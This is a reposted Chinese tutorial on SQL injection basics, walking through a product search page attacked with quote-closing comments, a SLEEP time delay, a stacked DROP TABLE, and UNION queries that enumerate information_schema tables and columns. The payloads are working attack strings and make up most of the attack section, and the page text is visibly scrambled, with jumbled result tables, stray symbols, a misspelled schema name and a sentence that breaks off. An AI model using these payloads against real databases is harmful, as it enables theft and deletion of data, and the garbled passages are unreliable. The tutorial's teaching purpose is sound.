首頁  >  文章  >  資料庫  >  快速了解sql注入基本原理

快速了解sql注入基本原理

angryTom
angryTom轉載
2019-11-29 14:41:433331瀏覽

快速了解sql注入基本原理

SQL注入基本原理

WEB技術發展日新月異,但是徒手拼SQL的傳統手藝還是受相當多的開發者親青睞。畢竟比起再去學習一套複雜的ORM規則,手拼更說方便,直覺。通常自己拼SQL的人,應該是有聽過SQL注入很危險,但總是心想:我的SQL語句這麼簡單,不可能被注入的。

花5分鐘看完這個完整的例子,從今往後應該再也不敢有以上僥倖心理了。

簡單場景

有一個WEB介面提供輸入商品名稱,展示對應價格,生產日期及生產地點資訊。例如輸入Hammer展示:

##Claw Hammer
產品 價格 生產地

12.98#American

#2019.11.07

#Club Hammer29.98

Canada2019.11.11

我們跳過了建立Web搜尋介面的過程,直接關注重點部分: SQL注入
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
select ? from ? where ? Like '%'%';
--來把最後一個單引號註解掉。
select ? from ? where ? Like '%'; -- %';
--產品價格生產地點生產日期Claw Hammer12.98American2019.11.07Club Hammer#29.98Canada2019.11.11Paring Knife
如果要實現以上功能,那麼我們大致可以猜到伺服器使用的SQL語句如下:其中?表示目前我們並不知道具體的表名和字段名,此SQL唯一可以被操縱的就是單引號裡面的輸入內容'%Hammer%。假如我們直接在查找框裡輸入一個單引號。即變成這樣拼接後造成SQL語法錯誤,得不到任何結果,我們需要使用
後的是註釋內容(你也可以用 #),這樣你可以得到所有的產品信息,目前為止,還是沒有嗅到危險的信號。

10.98China

2019.11.11

Boning Knife

19.98

China2019.01.01

小試牛刀and
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
為所欲為union
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
產品價格生產地點生產日期Claw Hammer12.98American#2019.11.07Club Hammer
緊緊抓住上一個步驟中可以擴充的單引號部分。來一個簡單的延時語句試一試:這時查詢會2秒後才回傳結果,如果把時間延長,用腳本多點幾次查詢,一下就能把資料庫的連接池用完。 當然,還有破壞力更強的! 可以直接把表/資料庫直接刪除掉,至於如何知道引資料庫中有哪一些表(即如何確定上句SQL中的xxxx)呢?
我們需要知道此資料庫有哪一些表格!這樣才能能拿到有用的資訊。 使用union可以把不同表格的內容拼在一起,小試試看:
####29.98######Canada######2019.11.11######### ####1######2######3######4#############

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11
authors hawkeye 3 4
products hawkeye 3 4
user hawkeye 3 4
.... .... 3 4

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11
id hawkeye 3 4
name hawkeye 3 4
price hawkeye 3 4
address hawkeye 3 4
updated_at hawkeye 3 4

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

以上是快速了解sql注入基本原理的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:cnblogs.com。如有侵權,請聯絡admin@php.cn刪除